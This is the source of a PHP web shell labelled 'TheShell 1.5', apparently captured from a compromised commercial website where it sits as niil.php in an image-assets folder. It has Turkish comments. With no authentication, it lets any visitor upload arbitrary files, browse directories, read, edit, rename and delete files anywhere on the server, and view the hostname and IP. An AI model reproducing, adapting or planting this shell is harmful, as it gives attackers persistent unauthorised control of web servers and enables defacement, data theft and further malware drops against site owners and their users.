Current Path : /storage/v11800/madhavcotex-com/public_html/assets/images/ |
Linux v11800 5.3.0-1023-aws #25~18.04.1-Ubuntu SMP Fri Jun 5 15:19:18 UTC 2020 aarch64
|
Current File : /storage/v11800/madhavcotex-com/public_html/assets/images/niil.php |
<?php
$file5 = basename(__FILE__);
set_time_limit(0);
error_reporting(E_ALL);
header('Content-Type: text/html; charset=UTF-8');
function cleanPath($path) {
return rtrim(str_replace(["..", "//"], "", filter_var($path, FILTER_SANITIZE_URL)), '/');
}
// Bulunduğumuz dizini belirle
$currentPath = cleanPath(isset($_GET['path']) ? $_GET['path'] : getcwd());
if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['files'])) {
$uploadDir = $currentPath . '/'; // Bulunduğumuz dizin
if (!file_exists($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
foreach ($_FILES['files']['tmp_name'] as $key => $tmpName) {
$filename = basename($_FILES['files']['name'][$key]);
$targetFile = $uploadDir . $filename;
if (move_uploaded_file($tmpName, $targetFile)) {
echo "yes: {$filename}\n";
} else {
echo "no {$filename}\n";
}
}
exit;
}
if (isset($_POST['save'])) {
$fileToSave = cleanPath($_POST['file']);
$content = $_POST['content'];
if (file_put_contents($fileToSave, $content) !== false) {
echo "<p>Dosya başarıyla kaydedildi: " . htmlspecialchars(basename($fileToSave)) . "</p>";
} else {
echo "<p>Dosya kaydedilirken bir hata oluştu.</p>";
}
}
if (isset($_GET['delete'])) {
$fileToDelete = cleanPath($_GET['delete']);
if (unlink($fileToDelete)) {
echo "<p>Dosya başarıyla silindi: " . htmlspecialchars(basename($fileToDelete)) . "</p>";
} else {
echo "<p>Dosya silinirken bir hata oluştu.</p>";
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['oldName']) && isset($_POST['newName'])) {
$oldName = cleanPath($currentPath . '/' . $_POST['oldName']);
$newName = cleanPath($currentPath . '/' . $_POST['newName']);
if (rename($oldName, $newName)) {
echo "<script>alert('Dosya başarıyla yeniden adlandırıldı.');</script>";
} else {
echo "<script>alert('Dosya yeniden adlandırılamadı.');</script>";
}
}
// Mevcut dizin veya seçilen dizin yolu
$currentPath = isset($_GET['path']) ? $_GET['path'] : getcwd();
$currentPath = realpath($currentPath);
// Dosya kaydetme işlemi
if (isset($_POST['save']) && isset($_POST['file']) && isset($_POST['content'])) {
$fileToSave = realpath($currentPath . DIRECTORY_SEPARATOR . $_POST['file']);
// Güvenlik kontrolü: Dosya, mevcut dizin içinde mi?
if (strpos($fileToSave, $currentPath) === 0 && file_put_contents($fileToSave, $_POST['content']) !== false) {
echo "<p>Dosya başarıyla kaydedildi: " . htmlspecialchars(basename($fileToSave)) . "</p>";
} else {
echo "<p>Dosya kaydedilirken bir hata oluştu.</p>";
}
}
// Dosya görüntüleme ve düzenleme
$editingContent = '';
if (isset($_GET['edit'])) {
$fileToEdit = realpath($currentPath . DIRECTORY_SEPARATOR . $_GET['edit']);
// Güvenlik kontrolü: Dosya, mevcut dizin içinde mi?
if (strpos($fileToEdit, $currentPath) === 0 && is_file($fileToEdit) && is_readable($fileToEdit)) {
$editingContent = file_get_contents($fileToEdit);
$editingFile = $_GET['edit'];
}
}
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<meta charset="UTF-8">
<title>Gelişmiş Dosya Yöneticisi</title>
<style>
body {
background: #1a1a1a;
color: #f0f0f0;
font-family: "Segoe UI", Arial, sans-serif;
line-height: 1.6;
margin: 0;
padding: 20px;
}
.upload-btn-wrapper {
position: relative;
overflow: hidden;
display: inline-block;
margin-right: 1px; /* Sağa 1px kaydır */
margin-bottom: 1px; /* Alta 1px kaydır */
}
a {
color: #1fa2f1;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
textarea { width: 100%; height: 300px; }
table { width: 100%; }
th, td { padding: 8px; text-align: left; border-bottom: 1px solid #ddd; }
tr:hover {background-color: #f5f5f5;}
table {
width: 90%;
margin: 20px auto;
border-collapse: collapse;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
}
th, td {
padding: 10px;
border: 1px solid #444;
text-align: left;
}
th {
background: #333;
color: #f0f0f0;
}
tr:nth-child(even) {
background-color: #2a2a2a;
}
.path, .file-upload {
text-align: center;
margin: 20px 0;
}
.input, .textarea, .cmd-input {
width: 100%;
padding: 10px;
margin-top: 5px;
border-radius: 5px;
border: 1px solid #333;
background-color: #222;
color: #f0f0f0;
}
.cmd-label {
display: block;
margin: 20px 0;
text-align: center;
}
.modal {
display: none;
position: fixed;
z-index: 1000;
left: 0;
top: 0;
width: 100%;
height: 100%;
overflow: auto;
background-color: rgba(0,0,0,0.6);
}
.modal-content {
position: relative;
background-color: #222;
margin: 10% auto;
padding: 20px;
border-radius: 8px;
border: 1px solid #333;
width: 60%;
color: #f0f0f0;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.6);
}
.modal-content input[type="text"],
.modal-content input[type="submit"],
.modal-content textarea {
width: 95%;
padding: 10px;
margin-top: 5px;
border-radius: 5px;
border: 1px solid #333;
background-color: #333;
color: #f0f0f0;
font-size: 16px;
}
.modal-content input[type="submit"] {
cursor: pointer;
background-color: #1fa2f1;
border: none;
}
.modal-content input[type="submit"]:hover {
background-color: #1a8ecd;
}
.close {
color: #aaa;
position: absolute;
top: 10px;
right: 25px;
font-size: 35px;
font-weight: bold;
}
.close:hover,
.close:focus {
color: #ddd;
text-decoration: none;
cursor: pointer;
}
.footer {
text-align: center;
margin-top: 40px;
padding: 20px 0;
background-color: #2a2a2a;
color: #f0f0f0;
font-size: 18px;
font-family: "Segoe UI", Arial, sans-serif;
box-shadow: 0 -2px 5px rgba(0,0,0,0.2);
border-top: 1px solid #444;
}
body {
margin-bottom: 60px;
.navbar {
overflow: hidden;
background-color: #333;
width: 90%;
margin: 0 auto;
}
tr:nth-child(even) {
background-color: #2a2a2a;
}
tr:nth-child(odd) {
background-color: #1a1a1a;
}
tr:hover {
background-color: #600;
}
.btn {
display: inline-block;
padding: 8px 15px; /* Daha geniş padding */
margin: 5px;
font-size: 16px; /* Biraz daha büyük font */
cursor: pointer;
text-align: center;
text-decoration: none;
outline: none;
color: #ffffff; /* Beyaz yazı rengi */
background-color: #007bff; /* Mavi arka plan rengi */
border: 1px solid transparent; /* Kenarlık görünmez */
border-radius: .25rem; /* Yuvarlatılmış köşeler */
transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out; /* Düzgün geçiş efekti */
}
.btn:hover, .btn:focus {
background-color: #0056b3; /* Hover ve focus durumunda daha koyu mavi */
color: #ffffff;
text-decoration: none;
}
.btn:active {
background-color: #004085; /* Aktif durumda daha da koyu mavi */
box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); /* İç gölge efekti */
}
.btn-danger {
background-color: #dc3545; /* Kırmızı arka plan rengi */
}
.btn-danger:hover, .btn-danger:focus {
background-color: #c82333; /* Hover ve focus durumunda daha koyu kırmızı */
}
.btn-danger:active {
background-color: #bd2130; /* Aktif durumda daha da koyu kırmızı */
}
</style>
<script>
function openRenamePrompt(oldName, currentPath) {
var newName = prompt("Yeni ismi girin:", oldName);
if (newName && newName !== oldName) {
// Formu oluştur
var form = document.createElement("form");
form.method = "POST";
form.action = "<?php echo "$file5"; ?>"; // Mevcut sayfanın URL'si
// Eski ismi gizli bir input olarak ekle
var oldNameInput = document.createElement("input");
oldNameInput.type = "hidden";
oldNameInput.name = "oldName";
oldNameInput.value = oldName;
form.appendChild(oldNameInput);
// Yeni ismi gizli bir input olarak ekle
var newNameInput = document.createElement("input");
newNameInput.type = "hidden";
newNameInput.name = "newName";
newNameInput.value = newName;
form.appendChild(newNameInput);
// Formu body'ye ekle ve gönder
document.body.appendChild(form);
form.submit();
}
}
</script>
</head>
<body>
<div class="navbar"><br>
<div class="upload-btn-wrapper">
<button class="btn">Ups</button>
<input type="file" name="files[]" id="file-input" multiple />
</div>
<div id="progress"></div>
<center>
<?php
$hostname = gethostname();
$ip_address = gethostbyname($hostname);
echo "Server Name: " . $hostname . " Server Ip Adress: " . $ip_address . " ";
echo " " . $os_info;
?> </center>
<?php
// Dizin navigasyonu için bağlantılar
echo '<center><div class="path-navigation">';
$parts = explode('/', trim($currentPath, '/'));
$pathAccum = '';
for ($i = 0; $i < count($parts); $i++) {
if (!empty($parts[$i])) {
$pathAccum .= '/' . $parts[$i];
echo '<a href="?path=' . urlencode($pathAccum) . '">' . htmlspecialchars($parts[$i]) . '</a> / ';
}
}
echo ' ';
echo '</div>';
// Dizin içeriğini al
$filesAndDirs = scandir($currentPath, SORT_ASC);
// Klasörleri ve dosyaları ayırma
$folders = array();
$files = array();
foreach ($filesAndDirs as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $currentPath . '/' . $item;
if (is_dir($fullPath)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
echo '<table>';
echo "<tr><th>Dosya/Dizin Adı</th><th>Tür</th><th>Boyut</th><th>En Son Düzenlenme</th><th>Yazılabilir</th><th>Dosya Sahibi</th><th>İşlemler</th></tr>";
// Klasörleri listeleme
foreach ($folders as $item) {
$fullPath = $currentPath . '/' . $item;
echo "<tr>";
echo "<td>";
// Klasörler için simge ve bağlantı
echo '<i class="fa fa-folder"></i> ';
echo '<a href="?path=' . urlencode($fullPath) . '">' . htmlspecialchars($item) . '</a>';
echo "</td>";
echo "<td>Dizin</td>"; // Tür
echo "<td></td>"; // Boyut (klasörler için boş)
echo "<td></td>"; // En son düzenlenme tarihi (klasörler için boş)
echo "<td></td>"; // Yazılabilirlik (klasörler için boş)
echo "<td></td>"; // Dosya sahibi (klasörler için boş)
// İşlemler
echo "<td>";
// "Yeniden Adlandır" butonu (klasörler için de gösterilir)
echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';
echo "</td>";
echo "</tr>";
}
// Dosyaları listeleme
foreach ($files as $item) {
$fullPath = $currentPath . '/' . $item;
echo "<tr>";
echo "<td>";
// Dosyalar için simge ve bağlantı
echo '<i class="fa fa-file"></i> ';
echo '<a href="javascript:void(0)" onclick="openModal(\'' . addslashes($fullPath) . '\')">' . htmlspecialchars($item) . '</a>';
echo "</td>";
// Dosya bilgileri
$lastModified = date("Y-m-d H:i:s", filemtime($fullPath));
$isWritable = is_writable($fullPath) ? 'Evet' : 'Hayır';
$owner = posix_getpwuid(fileowner($fullPath))['name'];
$fileSize = filesize($fullPath);
$fileType = mime_content_type($fullPath);
echo "<td>" . $fileType . "</td>"; // Tür
echo "<td>" . $fileSize . "</td>"; // Boyut
echo "<td>$lastModified</td>"; // En son düzenlenme tarihi
echo "<td>$isWritable</td>"; // Yazılabilirlik
echo "<td>$owner</td>"; // Dosya sahibi
// İşlemler
echo "<td>";
// "Yeniden Adlandır" butonu
echo '<button class="btn" onclick="openRenamePrompt(\'' . addslashes($item) . '\', \'' . addslashes($currentPath) . '\')">Yeniden Adlandır</button>';
if (!$isDir) {
// "Sil" butonu
echo '<button class="btn btn-danger" onclick="return confirm(\'Bu dosyayı silmek istediğinize emin misiniz?\') ? window.location.href=\'?delete=' . urlencode($fullPath) . '&path=' . urlencode($currentPath) . '\' : \'\';">Sil</button>';
echo '<button class="btn btn-primary" onclick="window.location.href=\'?path=' . urlencode($currentPath) . '&edit=' . urlencode($item) . '\'">Düzenle</button>';
}
echo "</td>";
echo "</tr>";
}
echo '</table>';
// Dosya görüntüleme
if (isset($_GET['filesrc']) && isset($_GET['raw']) && $_GET['raw'] == 'true') {
$filesrc = cleanPath($_GET['filesrc']);
if (file_exists($filesrc) && is_file($filesrc)) {
header('Content-Type: text/plain');
echo file_get_contents($filesrc);
exit;
} else {
echo "Dosya bulunamadı veya okunamıyor.";
exit;
}
}
?>
<script>
document.getElementById('file-input').addEventListener('change', function (e) {
var formData = new FormData();
for (var i = 0; i < this.files.length; i++) {
formData.append('files[]', this.files[i]);
}
var xhr = new XMLHttpRequest();
xhr.open('POST', '<?php echo "$file5"; ?>', true);
xhr.upload.addEventListener('progress', function (e) {
if (e.lengthComputable) {
var percent = Math.round((e.loaded / e.total) * 100);
document.getElementById('progress').innerHTML = percent + '% yüklendi';
}
});
xhr.onload = function () {
if (this.status === 200) {
document.getElementById('progress').innerHTML = 'Yes';
} else {
document.getElementById('progress').innerHTML = 'No';
}
};
xhr.send(formData);
});
</script>
<div class="footer">
TheShell 1.5 / Since 2024
</div>
<?php if (!empty($editingContent)): ?>
<h2>Dosya Düzenle: <?php echo htmlspecialchars($editingFile); ?></h2>
<form action="" method="post">
<textarea name="content"><?php echo htmlspecialchars($editingContent); ?></textarea>
<input type="hidden" name="file" value="<?php echo htmlspecialchars($editingFile); ?>">
<input type="submit" name="save" value="Kaydet">
</form>
<?php endif; ?>
<?php echo $file5; ?>